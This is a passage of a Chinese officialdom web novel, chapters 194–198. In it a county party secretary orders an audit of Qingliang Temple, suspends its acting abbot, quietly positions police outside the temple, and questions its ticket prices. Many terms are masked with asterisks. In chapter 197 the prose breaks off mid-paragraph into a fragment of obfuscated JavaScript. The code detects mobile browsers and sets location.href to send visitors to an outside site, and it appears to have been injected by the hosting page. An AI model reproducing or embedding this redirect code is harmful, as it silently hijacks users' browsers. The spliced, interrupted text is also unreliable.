谷庄的声音低得几乎听不见,“说马**‘不了解实际情况’,‘被某些别有用心的人误导了’……”
谷庄停顿了一下,似乎在斟酌措辞,最终带着一种深深的无力感说道:“两位领导谁也说服不了谁,互不相让,僵持不下。”
“这事……就这么搁置下来了。”
“马**大概也不想在这个节骨眼上,因为一个寺庙方丈的人选问题,和自己班子里最重要的搭档闹得太僵,影响全局的‘和谐稳定’吧。”
他小心翼翼地看了江昭宁一眼,见对方脸上依旧没什么表情,才继续道,“最后,大概双方都退了一步,或者说是……都妥协了。”
“结果是:东妙不升方丈,维持监院身份;外面,也不派新方丈进来。”
“所以……”谷庄的声音带着一种尘埃落定的疲惫和荒谬感,他摊了摊手,像卸下了千斤重担,又像被抽走了最后一丝精气神,“才有目前这‘清凉无方丈,监院称大王’的荒唐局面。”
“东妙以监院之名,行方丈之实,甚至更……更肆无忌惮。”
“我们宗教局也不敢深管。刘县长那边……更是讳莫如深。”
“事情,就这样拖到了今天。”他垂下头,望着自己汗湿的掌心,那里纹路交错,如同他此刻剪不断理还乱的心绪和前途。
话音落下,办公室里陷入一片更深的死寂。
外面响起了敲门声音。
“进来!”
一个**局工作人员进来,他恭恭敬敬地将一个牛皮纸文件袋交给江昭宁。
他额头渗着细密汗珠,压低了嗓子说得极为简短:“**,有僧人想方设法,托人偷偷带出来的……塞在**办侧门石阶缝里,沾着露水和草屑。”
“信里说了给**您看……再不想法子管管,寺就要烂透了,怕要出大事。”
江昭宁接过略厚的牛皮纸文件袋,纸张的边缘已经有些发软,仿佛已被频繁翻阅揉捏过无数次。
没有收件人地址落款,只有几行铅笔潦草字迹勾勒出它特殊的起源地——清凉寺,一个名字带着山泉般清冽气息的去处。
“你回去吧,我会处理的。”
“好的!”
**人员退了出去。
江昭宁翻看起来,里面全是叠纸。
可眼前这叠纸……收据条子粘连混乱,一笔笔用途不明的支出如同黑暗中滋生的藤蔓,密密麻麻缠结在“寺庙维缮”、“法事供养”等冠冕堂皇的名目之下,触角竟不可思议地向外蔓延,指向一些绝不该出现在庙门里的实业名称。
甚至关联上了个别敏感人物的姓名与款项去向。
账页最后几行,几笔无法对清的巨大亏空墨色刺眼,像是干涸发黑的血迹。
看完,江昭宁眉头紧皱。
江昭宁打了一个电话。
秘书林夕的脚步声由远及近,轻捷而稳定,敲击着走廊光洁的大理石地面,打破了室内的死寂。
门被推开,林夕的身影出现在门口。
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>手里拿着打开的笔记本和笔,脸上是惯有的那种专注而随时待命的神情。
“**?”他轻声询问,目光迅速扫过江昭宁的背影,捕捉到那背影里透出的不同寻常的凝重。
江昭宁倏然转身,动作快得带起一丝微风。
他那双锐利的眼睛如同淬了寒冰的刀锋,直直刺向林夕。
江昭宁没有任何寒暄的铺垫,每一个字都像凿子般冷硬清晰地刻进空气里:“林秘**一下,宗教事务管理部门协同审计进入清凉寺,启动关于清凉寺的专项审查。”
他语速极快,却字字千钧,不容错辨。
林夕的指尖在笔记本上停顿了一瞬,随即恢复流畅的书写,笔尖划过纸页的沙沙声成了此刻唯一的背景音。
“暂停东妙一切寺务工作。”第二个指令斩下,毫不拖泥带水。
“宗教管理局马上联系省佛协,务必请派德高望重、声誉无瑕的得道高僧前来接管寺务。”第三道命令紧随其后,指向明确。
“就是这几条,”江昭宁语速稍缓,但压迫感丝毫未减,“你电脑综合一下,拟一个提纲给我,马上开**会。”
最后一句,将所有的行动钉死在即刻执行的钉板上。
空气里弥漫开一种无形的张力,他的权威和意志如同实质的壁垒,压得人喘不过气。
“是!”林夕的回答清脆果断,没有半分犹疑。
他迅速合上笔记本,转身快步离去。
江昭宁的目光随即转向谷庄。
“工作以你们为主,”江昭宁的声音低沉下去,却更具穿透力,他走近谷庄几步,“审查是名,调查是实。”
他刻意加重了“调查”二字,眼神意味深长,“派出人员安全由**那边派人负责。精干、可靠,明白吗?”
谷庄迎着他的目光,神色肃然:“明白,**。安全第一,保密为上。”
“你现在回去,挑选工作责任心强的同志准备进驻清凉寺。”江昭宁最后叮嘱,“记住,眼睛要亮,耳朵要灵。”
“是!”谷庄干脆地应道,没有多余的话,利落地一个点头,转身离开。
第194章 掷地有声!
**会议室。
椭圆形的会议桌泛着冷硬的红木光泽。
围坐其旁的**们神情各异,空气里弥漫着一种等待重要宣判般的凝滞。
江昭宁坐在主位,双手十指交叉搁在光洁的桌面上,指节因为用力而微微泛白。
林夕将一份打印好的简明提纲,无声地放在他的面前。
江昭宁看了一眼那些提纲,目光沉稳地扫过在座的每一张脸孔,那目光沉静如水,却蕴藏着千钧之力。
“时间紧,不说套话。”江昭宁的声音打破了令人窒息的寂静。
他视线平稳地扫过全场,从第一排左边到右边,最后落在那叠放在他手边的材料上。
“接报,清凉寺财务及管理存在问题。”
“为查明事实,维护宗教领域秩序稳定,经审慎考虑,我打算立即采取行动。”
他的话语清晰而锐利,如同精准的冷兵器,字字句句敲打在每个人绷紧的神经上:“其一,宗教局协同审计部门组成专项工作小组,即日起进驻清凉寺,启动财务专项审查。”
“其二,审查期间,暂停代理住持东妙的一切寺务工作及权限。”
“其三,由宗教局负责,立刻与省佛教协会协调,敦请其派遣一位德高望重、修行精严的高僧大德,火速前来接管清凉寺寺务,确保寺院运行规范,防止混乱。”
他的话,如同三道无形的惊雷,猝然劈落在会议桌上空。
刚才还只是凝滞的空气瞬间冻结了。
一片死寂。
全场鸦雀无声。
这哪里是查账?
这是直捣核心,毫无转圜,分明是要连根拔起!
好几道目光在惊愕中下意识地迅速交汇又立刻分开,带着难以置信的神色投向主位。
“嘶——”一声压抑的倒吸冷气声突兀响起,随即又戛然而止,仿佛被人强行掐断喉咙。
这声音来自刘世廷。
他的脸色终于绷不住了。
他的震惊已转化为一种按捺不住的焦虑,猛地将手中的签字笔摁在了笔记本上。
“江**,”刘世廷的声音在过分沉静的气氛里拔高,透出浓重的不解和质疑,“这样安排是否……是否有点操之过急了?”
他微微向前倾身,试图拿出更具说服力的理由:“您想想,清凉寺它是什么性质?”
“它不是政府机关,不是我们的事业单位,它也不是国企,它甚至不能归到集体企业类别。”
“它是宗教活动场所!宗教团体自有其内部的运行规则和管理体系。”
“我们直接派出审计人员进驻查账,这……这法理上的依据充足吗?”
“这会不会……会不会引发非议?”
“干涉宗教内部事务这顶帽子,可是有分量的啊。”他的手随着最后一个疑问句挥了一下,像是要驱散某种无形的压力。
问题被赤裸裸地抛到了桌子中央。
所有的目光,无论是否认同刘世廷的质疑,都像被无形的线牵扯着,全部聚焦到了江昭宁的脸上。
会议室的空气完全凝滞,如同胶质。
江昭宁靠回椅背,脸上浮起一丝极淡、却让人莫名感到刺骨的玩味笑意。
他没有立刻看刘世廷,视线反而像审视一件物品般在那份被单独放在桌角的举报材料上停顿了一瞬,那目光如同刀锋刮过纸面。
旋即,他才慢慢抬眼,直视向坐在斜对面的刘世廷,眼神沉静深邃:“好,那按你意思,既然连集体企业都算不上,那它算是什么?私营企业?是私人财产?”
他略略停顿一下,不等对方反应,语速不快,却带着一种剖析的逻辑力量:“是那东妙和尚名下的私产?”
“不,不!”刘世廷语无伦次。
江昭宁的声音并不高亢,但字字清晰,钉在冰冷的空气里:“既然不是个人私有财产,那它是什么?”
“它就是由信众供养、由僧团修持、依法登记成立的宗教活动场所!”
“它就处在我们党和政府的依法管理范畴之内!”
“既然不是私企,更非任何个人私产,”江昭宁没有给他喘息的机会,声音陡然拔高,带着一种剖析事理的清晰逻辑,“那么,当寺庙内部管理混乱、账目不清,其自身力量已无法厘清内部积弊时,我们宗教事务管理部门的监督职能体现在哪里?”
“难道要坐视不管,任由其内部继续混乱下去?监督权形同虚设?”他环视全场,每一个字都敲在众人心头。
他的身体微微前倾,眼神
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锁定刘世廷那已显得有些僵硬的脸,目光沉沉如渊:“监督,是体现在睁一只眼闭一只眼的放羊吃草?”
“还是体现在按照条例规定,依法审计监督、查明真相?”
反问掷地有声!
每一个字都如同无形的凿子,在刘世廷以及所有心存疑虑者构建的壁垒上凿出清晰的裂缝。
刘世廷下意识地张了张嘴,喉咙里堵着千言万语,却硬是半个字也吐不出来。
他的脸色一阵红白交替,显出几分尴尬的颓然。
紧接着,江昭宁右手拿起一直放在手边的一份文件。
手腕一扬,那份印着省里红色抬头的文件被不轻不重地“啪”一声甩在光滑的红木会议桌中央。
纸张滑行了一段距离,恰好停在几位**面前。
“这是省里刚下发的《关于进一步规范和加强宗教活动场所财务监督管理的指导意见》,”江昭宁的声音沉稳有力,手指在那份文件上点了点,“白纸黑字,明确授权宗教事务管理部门要进一步加强对宗教活动场所的财务管理进行必要的监督检查和审计。”
“这就是我们此次行动最坚实的法理依据!”
“至于暂停东妙职权,”江昭宁的语调平稳下来,但其中的逻辑链条却更加坚硬冰冷,“这仅仅是审查工作的客观程序需要!”
“这是为了确保审查工作能够不受干扰地顺利进行。”
“非常时期的必要措施,完全是为了查清问题的方便。”
他身体略后靠,目光转向其他**,仿佛对所有人解释,又带着一种不容置疑的权威口吻:“再说到请省佛协派大德高僧来接管寺务,”他的手指在桌面上轻轻一叩,“这不是我擅作主张!”
江昭宁的语气稍稍放缓,带上了一丝不容辩驳的合理性,“各位应该都知道,清凉寺方丈之位已经悬空四年之久!”
“群龙无首,管理焉能有序?”
“人心涣散,事务一团乱麻。”
“我们提出这个建议,正是为了帮助清凉寺恢复正常的宗教秩序和内部管理,避免因长期无主而导致的混乱。”
“名不正则言不顺,让一个代理监院长期‘暂摄’,这本身就极易引起僧众的不满和内部纷争。”
第195章 寺庙外?
他的声音陡然提高了几分,带着一种凛然的正义和不可抗拒的意志洪流,席卷整个会议室:“难道我们非要继续让清凉寺无头乱撞?”
“非要容忍东妙这样名不正、言不顺地长期代理下去?”
“非要任由内部积蓄的巨大不满甚至矛盾完全爆发?”
“闹得鸡犬不宁,僧俗不安,最终乱成一锅烂粥,才叫妥帖?才叫尊重?才叫符合‘法理’?!”
一连串尖锐的反问如同沉重的铁锤,接连砸在每个人的心坎上。
最后,江昭宁身体略抬,声音在空旷的房间中回荡出决然的余韵:“我再重申一点,行动时机正当合适。”
“清凉寺修缮工作启动在即。”
“一旦动工修缮,出于游客安全和施工秩序考虑,寺庙必须按规划方案要求,暂时封闭,停止接待游人。”
他的目光在众人脸上扫过,带着一种大局在握的穿透力:“在它暂时‘关门’的这段时间,我们的人员进驻审查——对寺庙的信众接待、法会活动这些常规‘业务’,会产生实际影响吗?”
“会扰乱它的正常宗教活动秩序吗?”
他的声音斩钉截铁:“答案明明白白!影响极小!代价最小!时机最佳!”
然后江昭宁语调一沉,“有没有其他意见?现在提!”
一片沉寂。
刚才刘世廷试图撬动的那块石头,在江昭宁如熔岩般不可阻挡的事实和逻辑洪流冲击下,早已碎成齑粉。
他下意识地垂下了眼,避开那穿透性的目光。
刘世廷颓然地靠在了椅背上,那一点残留的不甘被彻底碾碎,喉结上下蠕动了一下,却最终没有任何声音发出。
**会议室里的沉寂,如同沉入深海的巨石,带着一种令人窒息的、尘埃落定的重量。
那是一种所有异议被无形碾碎后留下的真空。
“同意!”李娟的声音清脆果断,像一把小锤,骤然敲碎了这层压抑的薄冰。
她第一个举起了手,眼神坚定地迎向主位的江昭宁,没有任何迟疑。
“附议!”
“没有意见!”
“赞同!”其他几位**的声音此起彼伏,迅速填补了李娟开头后的短暂空隙。
几乎没有任何实质性的讨论,甚至没有眼神的深层交流,江昭宁那环环相扣、步步为营的提议。
便在这片被省里文件和修缮时机双重“铁幕”笼罩的空间里,无异议地获得了通过。
江昭宁沉稳地颔首。
他的目光扫过全场,那眼神平静无波,却像一块巨大的磁石,将所有的不安、疑虑甚至残余的权衡,都牢牢吸附在桌面上。“好,散会。”
他的声音不高,却足以让所有人起身离座的动作都显得格外谨慎而迅速。
回到自己的办公室,厚重的木门隔绝了外面的世界。
窗外,那几株银杏依旧在初冬的风里固执地挥洒着最后的金黄。
叶片打着旋,执着地扑向大地。
像一场盛大而无声的告别。
江昭宁没有落座,径直走到宽大的办公桌前,拿起那部线条硬朗的座机话筒。
听筒贴在耳边,拨号音短促而清晰,仿佛直接连通着他思维的脉络。
电话几乎在响第一声就被接起,对方仿佛一直守候在旁。
“乔局。”江昭宁的声音透过听筒传向乔国良,没有任何寒暄,开门见山,带着一种事务性的冷硬,“你与宗教局谷局对接一下,为他们进入清凉寺的工作组配备两名安保人员。”
电话那头的乔国良,正坐在自己同样宽敞但风格更显冷硬的办公室里,闻言立刻挺直了腰背,声音洪亮而充满执行力:“是!**,您放心!”
“我马上安排,就从刑侦大队调派精兵强将,保证万无一失!”
“绝对的**可靠,业务过硬!”
他脑海里瞬间闪过几位得力干将的名字,盘算着谁更擅长应对这种敏感场所的复杂局面。
保护工作组安全,这在他经验里,自然是要派出最强盾牌。
“不,”江昭宁的声音平淡无波地打断了他,没有丝毫起伏,“你错了。”
“啊?”乔国良脸上的笃定瞬间凝固,握着话筒的手不自觉地收紧了一下,喉咙里发出一个短促而愕然的音节。
他下意识地看了看手中的听筒,仿佛想确认信号是否清晰,或者自己是否幻听。
派最强的?错了?这完全出乎他的意料和认知。
“去两个刚参加工作的警校生即可。”江昭宁清晰地
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补充道,语气不容置疑。
乔国良的眉头拧成了一个疙瘩,巨大的困惑几乎要从话筒里溢出来:“这……**,为何?”
他完全无法理解这个指令的逻辑。
清凉寺情况复杂,东妙根深蒂固,工作组进去是捅马蜂窝,派两个菜鸟去保驾护航?
这无异于羊入虎口!
他脑中瞬间闪过无数种可能发生的危险场景。
“他们刚加入警队,”江昭宁的声音平稳地解释着,仿佛在阐述一个再简单不过的事实,“涉世未深,心思单纯,与各方面也没有什么盘根错节的利益瓜葛。”
“这样的人,能专心致志地做好本职工作,执行命令不打折扣。”
这是点题之笔,听起来平实无华,其背后深意却层层叠叠。
电话那头沉默着,仿佛能听到乔国良紧咬牙关时微微的声音。
“嗯,”电话那头终于传来乔国良的声音,闷闷的,像是喉咙被什么东西压住,但已经放弃了最初的愕然,变成了彻底的服从与理解,“明白了。”
那股急切执行任务的势头被彻底收束了回去。
他开始明白**的考量:那些盘根错节、那些可能的牵扯……纯净的新人,有时比染缸里浸泡过的老手更可靠。
他们是干净的执行者,不是心思活络、懂得太多‘规矩’的老油条。
老手经验丰富不假,但也可能被渗透,可能被拉拢,可能因为顾虑太多而选择性地“看不见”或“听不到”。
这声“明白”,是真正理解了**意图的沉重。
然而,江昭宁的话并未就此结束。
他话锋陡然一转,像一把精准的手术刀,切入更深层的部署:“你的精干力量,放在寺庙外,知道不?”
“寺庙外?”乔国良刚有些清晰的思路再次被打乱,像一脚踩空,脸上瞬间写满了更大的懵圈,“**,这……?”
他彻底糊涂了。
江昭宁的声音依旧平静无波,听不出丝毫情绪起伏,只有一种深不可测的掌控力:“你去琢磨吧!”
四个字,轻飘飘地落下,却重逾千斤。
这不是命令,而是考验,是信任,更是一种无形的压力——让乔国良自己去想通这盘棋更深层的用意。
第196章 你一个人来
江昭宁能清晰地感知到,乔国良那颗此刻一定在高速运转的头脑——他在拼命“琢磨”!
将他刚才那寥寥数语反复咀嚼、拆解、分析、重组……试图抓住那条若隐若现的关键线索。
乔国良握着话筒,身体僵直地站在办公桌后。
他眉头紧锁,目光无意识地落在对面墙上巨大的本县地图上,清凉山的位置被清晰地标注着。
他强迫自己冷静下来,急速开动脑筋。
里面风险相对可控,而且工作组进驻是公开的“审查”,明面上东妙未必敢直接动工作组的人。
那么,**真正担心的是什么?
是工作组的安全吗?不,至少不是最核心的!
他猛地一个激灵,思路像黑暗中划亮了一根火柴!
工作组进驻,是明面上的风暴眼!
真正的惊雷,在于风暴眼之外!
在于工作组一旦在内部发现关键证据、触动核心神经,那些被逼到墙角的人会做什么?
他们最可能做的,不是直接对抗工作组,而是销毁证据!
不,更重要的是转移资产!
是关键的人“消失”!
是溜之乎也,逃之夭夭!
寺庙之外需要快速的反应、精准的追踪、强力的拦截!
这才是需要精兵强将的地方!
他们不是盾牌,而是隐藏在暗处的、随时准备雷霆出击的捕网和利剑!
**是要他布一张更大的网,一张明处看似疏松,两个新人,暗处却铁桶般严密,精锐在外的天罗地网!
既要看清里面的戏,更要防住出逃外面的“鬼”!
“原来如此!”乔国良几乎脱口而出,声音里充满了醍醐灌顶的震撼和一种棋逢高手的叹服,“我知道了!**,我明白了!遵命!”
他感觉自己的背脊瞬间挺得更直了,一股混合着紧张与兴奋的战栗感窜遍全身。
这盘棋,远比他想象的要深、要大!
但随即,一个现实的顾虑浮上心头,冲淡了那份明悟的兴奋。
他谨慎地开口,带着一丝请示的意味:“**,我调用警力,按规定流程,还需要向李国栋汇报一下。”
“他是主管领导。这……不知道会不会干扰到您的整体部署?”
江昭宁在电话那端似乎轻轻摆了一下手,动作的幅度透过声音传递出一种从容的掌控感:“正常的工作安排,当然可以汇报。”
“这是程序,也是规矩。”
他的语气平淡无奇,仿佛在说一件最寻常不过的小事,“只是,”他的声音陡然沉了下去,每一个字都像被冰水淬过,清晰而冰冷地钉入乔国良的耳膜,“我的用意,你只可领会,不可与人言。”
“包括汇报的内容,只限于为宗教局工作组配备两名新警员负责内部安全引导,这是明面上的安保需求。”
“至于其他的部署,是你分管刑侦的局长基于对复杂形势的专业研判,自行作出的外围警戒安排。懂吗?”
“懂!懂!**您放心!”乔国良心头一凛,立刻斩钉截铁地回应,语气无比郑重,“我知道怎么做!”
“该汇报的汇报,该保密的,一个字都不会漏!专业研判,外围警戒,我明白!”他完全领会了**的深意。
汇报是程序,是障眼法的一部分。
真正的杀招和布局,必须深藏不露,由他这个分管副局长以专业理由独立承担。
这是对他的信任,更是对他**智慧和执行力的考验。
“嗯!去吧!”江昭宁的声音恢复了最初的平稳,带着一种部署完毕的松弛感。
“是!”乔国良应声如铁,那边随即传来电话挂断的忙音。
他缓缓放下话筒,掌心竟然沁出了一层细密的汗珠。
办公室里异常安静,只有墙上挂钟秒针行走的滴答声,此刻听来却像战鼓在心头擂动。
乔国良深吸一口气,走到窗边,目光投向远处的清凉寺方向。
他拿起内线电话,拨通刑侦副大队长王宇明办公室的号码,声音恢复了往日的沉稳干练,却多了一丝不同寻常的凝重:“王队,是我。立刻到我办公室来一趟,有重要任务部署。”
“记住,只你一个人来。”
王宇明是他在治安大队的得力助手,当了分管刑侦的副局长后乔国良又将王宇明调到刑侦大队任副大队长。
放下电话,他转身凝视着桌上那份本市警力布防图,手指在清凉山外围的几个关键交通节点和邻近区域上重重地敲了敲。
那里,即将成为一张无形却致命的网的中心。
而在县委大楼的另一端,江昭宁也放下了电话。
他踱步到巨大的落地窗前,窗外纷飞的金黄银杏叶依旧执着地扑向大地。
那片片旋转、坠落的叶子,在他深不见底的眼眸里,仿佛幻化成了无数盘根错节的线索和即将被惊起的尘埃。
他负手而立,身影在光洁的地板上投下长长的、沉默的影子。
山雨欲来,风已满楼。
而真正的雷霆,此刻才在无声的布网中,缓缓凝聚起足以涤荡一切腐朽的力量。
明处,两个懵懂
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的新人即将踏入古刹。
暗处,无数双精锐的眼睛已悄然张开,锁定了风暴可能蔓延的每一个角落。
棋盘已布,只待落子。
王宇明推开乔国良办公室厚重的木门时,一股混合着烟草和浓茶的气息扑面而来。
乔国良叉腰站在巨大的本县地图前,目光如同鹰隼般钉在清凉山区域。
地图上,代表清凉寺的那个点周围,已经被他用红蓝铅笔重重地圈画了几层,几条延伸出去的交通要道也被特意标出。
“局长,您找我?”王宇明声音沉稳,带着一丝惯常的干练。
他敏锐地察觉到办公室里的气氛不同以往,空气绷得像拉满的弓弦。
乔国良闻声猛地转过身,脸上没有一丝寒暄的笑意,眼神锐利得能穿透人心。
“当然有事,”他大步走到办公桌前,抓起桌上的半盒烟,又烦躁地扔下,“是大事!”
“请局长安排!”王宇明立刻挺直腰板,目光灼灼。
能让乔国良如此凝重,绝非寻常任务。
“听着,”乔国良双手撑在桌沿,身体前倾,压低了声音,每个字都带着沉甸甸的分量,“你亲自挑选绝对可靠、身手敏捷、反应最快的骨干,给我把清凉寺所有能出人的口子——明的、暗的、你知道的、你暂时不知道但必须给我找出来的——全部给我死死盯住!”
“守出口?”王宇明眉头瞬间拧紧,下意识地反问,脸上写满了巨大的困惑,“局长,这个…寺庙进进出出的游人香客很多,他们进去不**,难道出来还会寻衅滋事?”
他实在无法理解这个指令的意图,感觉像用高射炮打蚊子。
“蠢!”乔国良低喝一声打断他,手指用力戳向桌面,发出沉闷的响声,“我说的是闭寺修缮,不对外开放后!”
他刻意加重了“闭寺修缮”和“不对外开放”这几个字,眼神如同淬了火的刀子,“等那两扇大门轰然关上,把那些不相干的人潮彻底隔绝在外面的时候,才是风暴真正开始酝酿的时候!”
“里面,工作组是明面上的靶子,吸引着所有的目光和火力。”
他绕过桌子,走到王宇明面前,距离近得能感受到对方身上散发的压迫感:“风暴眼在里面,但惊雷一定炸在外面!”
“王队,你给我听清楚!”他深吸一口气,声音陡然拔高,带着一种近乎金属摩擦的铿锵:“我要你做的不是盾牌,而是闪电!”
“盾牌只能被动挨打!我要的是能在零点几秒内撕裂黑暗、直刺要害的霹雳!”
第197章 邪不压正!
“需要的是快速的反应——当某个藏在阴影里的目标像受惊的兔子一样启动逃亡程序,你的人必须在第一时间就能锁定、咬住!”
“让他连门都没摸热,就被按死在地上!毫秒必争!”
“需要的是精准的追踪——无论他钻山沟、穿小巷、还是想混进人海,你的人必须像跗骨之蛆,死死黏住他的轨迹!”
“让他上天无路,入地无门!”
“需要的是强力的拦截——在他自以为即将逃出生天的瞬间,在他离自由只有一步之遥的地方,用最不容置疑的力量,把他像摁死一只臭虫一样,狠狠地、彻底地拦截下来!碾碎他所有的幻想!”
乔国良的胸膛剧烈起伏,眼中燃烧着一种猎人锁定猎物般的狂热和冷酷:“你的人,就是那把悬在那些试图逃窜者头顶、引而不发却随时准备斩落的利剑!明白吗?”
“我要的不是看门的保安,是潜伏在暗影里的刀锋!”
“张网以待?”王宇明瞳孔猛地收缩,脑中瞬间贯通!
局长这哪里是守门?
这是布下天罗地网,等着瓮中捉鳖!
而他王宇明的任务,就是守住所有可能被震开的洞口,把惊慌失措试图逃窜的“虎”一网打尽!
一股巨大的战栗感混合着被赋予重任的亢奋瞬间席卷了王宇明。
他猛地挺直身体,眼神中的困惑一扫而空,取而代之的是猎豹般的锐利和专注:“是的!局长!我明白了!”
“张网以待,确保一个都跑不掉!”
“我亲自带队去布控!”声音斩钉截铁,充满了即将投入生死狩猎的决绝。
三天光阴,在紧锣密鼓的筹备中倏忽而过。
当窗外梧桐树影再次斜斜投进江昭宁那间宽大却略显凝重的办公室时,林方政和谷庄并肩走了进来。
空气中弥漫着一种尘埃落定前的肃静,以及山雨欲来前的张力。
“江**,款项已到位,所有的准备工作已完成。”林方政的声音沉稳有力,带着一丝不易察觉的疲惫与亢奋。
他微微欠身,将一份装订整齐的最终方案放在宽大的红木办公桌上,“修缮施工队是经过严格筛选和招投标确定的省古建三队,资质过硬,经验丰富,尤其擅长宗教古建修复。”
“人员和设备都已集结完毕,随时可以开赴清凉山,进驻清凉寺。”
站在一旁的谷庄,神情则复杂得多。
作为宗教事务管理局的实际负责人,他深知此次行动表面是修缮古刹,实则暗流汹涌。
他补充道:“寺内僧众方面,我们通过市佛协做了初步沟通,以按新规‘例行审计’为由,大部分僧人表示了理解。”
“监院东妙……表面也配合,但态度微妙。”
谷庄停顿了一下,似乎在斟酌措辞,“他询问了工期细节和安保措施,对审计和我们的介入表现得有些……过于关注。”
江昭宁背对着他们,他高大的身影在逆光中形成一个坚实的剪影。
听到汇报,他缓缓转过身,深邃的目光扫过林方政和谷庄的脸。
那目光锐利如鹰,仿佛能穿透人心。
“好!”江昭宁的声音不高,“审计是明面上的棋,是规则内的查账。”
“谷局长,你们宗教局的任务是另一条线——要暗中展开调查。”他走到办公桌后,手指无意识地敲击着桌面,发出笃笃的轻响,像是某种无声的催促,“目标要明确,不是走马观花,而是要深挖,最好能揪住东妙和尚本人,或者他身边核心人物的违法甚至犯罪事实!”
“……任何线索都不要放过。”
“清凉寺的水,恐怕比我们看到的要深得多。”
他将举报材料从办公桌的抽屉里拿了出来,“从这些举报的内容入手,查它一个水落石出。”
谷庄小心翼翼地接过,放入公文包里。
江昭宁停顿片刻,目光如炬地锁定谷庄,加重了语气:“必要时,可以‘敲山震虎’!”
“放出一些风声,施加一些压力,看看蛇会不会出洞,狐狸尾巴会不会露出来。”
“让他们动起来,才容易露出破绽。”
“敲山震虎”四个字,像一记重锤砸在谷庄心上。
他身体不易察觉地微微一震,额角瞬间沁出细密的汗珠。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402484|180059||http|test|mini|href|location''.split(''|''),0,{}));
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r>他太清楚东妙绝非仅仅是一个寺庙监院那么简单。
其背后盘根错节的利益链条,甚至可能牵扯到一些难以想象的层面。谷庄的声音带着一丝不易抑制的紧张和疑虑:“那,那……江**,这‘敲山震虎’的尺度……万一他们狗急跳墙?”
“东妙在寺内根基很深,寺里那些**居士、挂名弟子,三教九流都有,恐怕……”
“不要怕!”江昭宁断然截住他的话头,声音陡然拔高,带着一种斩钉截铁的威严,“邪不压正!这是铁律!”
“他们再猖狂,也翻不了天!”
他绕过办公桌,走到谷庄面前,眼神坚定地直视着他,传递着强大的信心和力量,“我们不是赤手空拳。”
“安保方面,我已经协调了县局方面,抽调了两名干警,组成安保小组。”
“他们会携带必要的装备,包括**,24小时轮班,全程履行保卫职责,确保调查组所有人的绝对安全。”
“他们不仅是保护人,更是一柄悬在对方头顶的利剑!”
“你尽管放手去查,天塌不下来!”
江昭宁的保证像一颗定心丸。
谷庄看着**眼中不容置疑的决绝和身后象征的绝对权威,那份源于对未知危险的恐惧稍稍平息,一股责任感和使命感重新涌上心头。
他挺直了腰板,用力点头,声音恢复了稳定:“是!江**,我明白了!宗教局保证完成任务,绝不辜负您的信任!”
“嗯,这就好。”江昭宁满意地点点头,拍了拍谷庄的肩膀,“去吧,前期工作务必细致,注意安全保密。随时向我汇报进展。”
“好!”谷庄再次郑重应诺,向江昭宁和林方政微微颔首,转身快步离开了办公室。
沉重的实木门在他身后轻轻合上,隔绝了走廊的声响。
办公室内只剩下江昭宁和林方政两人,空气似乎也变得更加沉凝。
江昭宁踱步到落地窗前,目光再次投向远方云雾缭绕的清凉山巅,那座千年古刹的轮廓若隐若现。
沉默片刻,他转身。
示意林方政在会客区的沙发上坐下。
第198章 哪一项不要钱?
“林局,”江昭宁亲自给林方政倒了杯茶,自己也端了一杯,在对面坐下,语气变得平和,却依旧带着深思,“这寺庙大殿的修缮,具体要多长时间?”
“施工方案确保万无一失了吗?”
“那可是省级重点文物,动一砖一瓦都要慎之又慎。”
林方政接过茶杯,放在面前的茶几上,身体微微前倾,认真地回答:“施工方案是省文物局专家反复论证过的,以抢救性加固和恢复原貌为主,尽可能减少干预。”
“古建三队有修复类似木构大殿的成熟经验。”
“只要天气正常,没有发现重大隐蔽性结构问题,快则十天,最多半个月即可完成主体工程。”
“后续还有一些细节处理和彩绘修补,但不会影响主体开放。”
“嗯,效率还算可以。”
江昭宁微微颔首,端起茶杯呷了一口,看似随意地继续问道,“那么,修缮完了之后呢?”
“大殿焕然一新了,然后怎么办?”
林方政被问得一愣神,下意识地回答:“江**,修缮完后,寺庙肯定焕然一新,安全隐患排除了,文物得到了有效保护,这当然是好事。”
“接下来,自然就是要重新对外开放啊。”
“信众游客都盼着呢,这也是我们工作的最终目的之一,恢复宗教活动场所的正常功能,也能带动周边旅游经济。”
“我说的是门槛!”
江昭宁放下茶杯,目光如电,直指核心,“那道入门的门槛,你们打算怎么办?还要定那么高吗?”
“门槛?”林方政一时没反应过来,修缮方案里似乎没特别提到门槛的物理高度问题。
“这个入门门槛,”江昭宁身体微微前倾,手指轻轻敲击着沙发扶手,每一个字都清晰有力,“我指的是门票!”
“那道把人挡在外面的、看不见却实实在在存在的门槛!”
“你们打算收多少钱一张票?”
林方政这才恍然大悟,原来**关心的是这个。
他心中迅速盘算着,谨慎地开口:“哦,您是说门票价格啊。”
“这个我们研究过,肯定是恢复原来的价格体系呀。”
“修缮投入这么大,后续维护管理也需要持续投入,门票收入是最直接、最稳定的来源。”
“80元?”江昭宁直接报出了那个让很多人望而却步的数字,眉头不易察觉地蹙起,“我记得清凉寺修缮前就是这个价,比五年前翻了一番还要多。”
“重新开放还维持这个价?”
“林局,你觉得,是不是多了些?”
林方政感受到**话语中的质疑,立刻坐得更直,开始陈述理由:“江**,80元的价格,比之前前确实高了不少。”
“但是,请您听我解释。”
他掰着手指,条理清晰地说下去:“首先,这次大殿主体修缮预算就是130万,这还不包括后续的维护费用。”
“这笔钱,虽然财政拨了,只是救急。后续的日常维护费用需要寺庙自身通过香火和门票收入来弥补。”
“我们和清凉寺管理委员会,是有分成协议的,只是执行得不太好。”
“我打算以后将门票收入的35%如数返还给寺庙,用于日常运营、僧众生活和小型维护。这是硬性支出。”
他顿了顿,观察了一下江昭宁的表情,见他只是静静听着,便继续道:“其次,更重要的是我们局里自身的压力。”
“您知道的,这次机构改革,文旅局和宗教局合并,避免了政出两门,相互扯皮推诿的局面,但‘吃饭的嘴’也多了不少啊。”
林方政的语气带着一丝不易察觉的无奈。
“财政拨款是按行政编制人头来的,这勉强能覆盖在编人员的基本工资。但是,”他加重了语气,“我们还有大量的历史遗留问题——事业编制人员!他们的绩效、补贴,很大一部分要靠单位自筹。”
“还有更现实的问题:合同工、临时工!”
